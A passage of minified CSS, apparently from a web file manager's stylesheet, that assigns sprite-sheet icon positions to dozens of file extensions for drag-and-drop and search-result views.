!important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -384px !important;}.draggable-dragging .name .x-item-file.x-odt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -368px !important;}.draggable-dragging .name .x-item-file.x-pdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -352px !important;}.draggable-dragging .name .x-item-file.x-pps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -336px !important;}.draggable-dragging .name .x-item-file.x-ppsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -320px !important;}.draggable-dragging .name .x-item-file.x-ppt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -304px !important;}.draggable-dragging .name .x-item-file.x-pptx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -288px !important;}.draggable-dragging .name .x-item-file.x-pst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -272px !important;}.draggable-dragging .name .x-item-file.x-pub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -256px !important;}.draggable-dragging .name .x-item-file.x-vcf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -240px !important;}.draggable-dragging .name .x-item-file.x-vdw{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -224px !important;}.draggable-dragging .name .x-item-file.x-vdx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -208px !important;}.draggable-dragging .name .x-item-file.x-vsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -192px !important;}.draggable-dragging .name .x-item-file.x-vsdx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -176px !important;}.draggable-dragging .name .x-item-file.x-vss{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -160px !important;}.draggable-dragging .name .x-item-file.x-vst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -144px !important;}.draggable-dragging .name .x-item-file.x-vsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -128px !important;}.draggable-dragging .name .x-item-file.x-vtx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -112px !important;}.draggable-dragging .name .x-item-file.x-xls{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -96px !important;}.draggable-dragging .name .x-item-file.x-xlsb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -80px !important;}.draggable-dragging .name .x-item-file.x-xlsm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -64px !important;}.draggable-dragging .name .x-item-file.x-xlsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -48px !important;}.draggable-dragging .name .x-item-file.x-xlt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -32px !important;}.draggable-dragging .name .x-item-file.x-xltx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -16px !important;}.draggable-dragging .name .x-item-file.x-xps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px 0 !important;}.draggable-dragging .name .x-item-file.x-cab{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -240px !important;}.draggable-dragging .name .x-item-file.x-cer{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -224px !important;}.draggable-dragging .name .x-item-file.x-chm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -208px !important;}.draggable-dragging .name .x-item-file.x-cmd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -192px !important;}.draggable-dragging .name .x-item-file.x-dll{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -176px !important;}.draggable-dragging .name .x-item-file.x-exe{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -160px !important;}.draggable-dragging .name .x-item-file.x-fon{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -144px !important;}.draggable-dragging .name .x-item-file.x-hlp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -128px !important;}.draggable-dragging .name .x-item-file.x-ini{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -112px !important;}.draggable-dragging .name .x-item-file.x-lnk{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -96px !important;}.draggable-dragging .name .x-item-file.x-msi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -80px !important;}.draggable-dragging .name .x-item-file.x-ps1{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -64px !important;}.draggable-dragging .name .x-item-file.x-reg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -48px !important;}.draggable-dragging .name .x-item-file.x-rtf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -32px !important;}.draggable-dragging .name .x-item-file.x-txt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -16px !important;}.draggable-dragging .name .x-item-file.x-vbs{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px 0 !important;}.draggable-dragging .name .x-item-file.x-3gp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -160px !important;}.draggable-dragging .name .x-item-file.x-avi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -144px !important;}.draggable-dragging .name .x-item-file.x-flv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -128px !important;}.draggable-dragging .name .x-item-file.x-m4v{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -112px !important;}.draggable-dragging .name .x-item-file.x-mkv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -96px !important;}.draggable-dragging .name .x-item-file.x-mov{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -80px !important;}.draggable-dragging .name .x-item-file.x-mp4{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -64px !important;}.draggable-dragging .name .x-item-file.x-mpg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -48px !important;}.draggable-dragging .name .x-item-file.x-ogg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -32px !important;}.draggable-dragging .name .x-item-file.x-webm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -16px !important;}.draggable-dragging .name .x-item-file.x-wmv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px 0 !important;}.draggable-dragging .name .x-item-file.x-asax{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -176px !important;}.draggable-dragging .name .x-item-file.x-ascx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -160px !important;}.draggable-dragging .name .x-item-file.x-ashx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -144px !important;}.draggable-dragging .name .x-item-file.x-asmx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -128px !important;}.draggable-dragging .name .x-item-file.x-aspx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -112px !important;}.draggable-dragging .name .x-item-file.x-config{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -96px !important;}.draggable-dragging .name .x-item-file.x-cshtml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -80px !important;}.draggable-dragging .name .x-item-file.x-swf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -16px !important;}.draggable-dragging .name .x-item-file.x-xap{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px 0 !important;}.draggable-dragging .name .x-item-file.x-php{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/php_small.png");}.draggable-dragging .name .x-item-file.x-txt,.draggable-dragging .name .x-item-file.x-textile,.draggable-dragging .name .x-item-file.x-inc,.draggable-dragging .name .x-item-file.x-log{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/txt_small.png");}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-7z{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -160px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-bz2{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -144px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-dmg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -128px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-gz{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -112px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-iso{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -96px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-jar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -80px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-pkg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -64px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-rar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -48px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-sitx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -32px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-tar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -16px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-zip{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 0 !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-aac{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -80px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-m4a{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -64px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-midi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -48px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-mp3{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -32px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-wav{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -16px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-wma{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px 0 !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-3ds{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -192px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-ai{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -176px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-as{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -160px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-cdr{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -144px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-dwg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -128px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-dxf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -112px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-eps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -96px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-fla{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -80px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-indd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -64px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-prproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -48px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-psb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -32px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-psd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -16px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-pspimage{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px 0 !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-c{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -320px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-cpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -304px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-cs{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -288px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-csproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -272px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-dtd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -256px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-h{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -240px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-ldf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -224px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-mdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -208px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-pdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -192px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-resx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -176px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-sln{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -160px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-sql{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -144px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-suo{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -128px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-vb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -112px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-vbproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -96px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-vcproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -80px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-vcxproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -64px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-xaml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -48px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-xml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -32px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-xsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -16px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-xsl{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px 0 !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-bmp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -64px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-gif{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -48px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-ico{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -32px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-jpg{position:relative;width:16px !important;height:16px 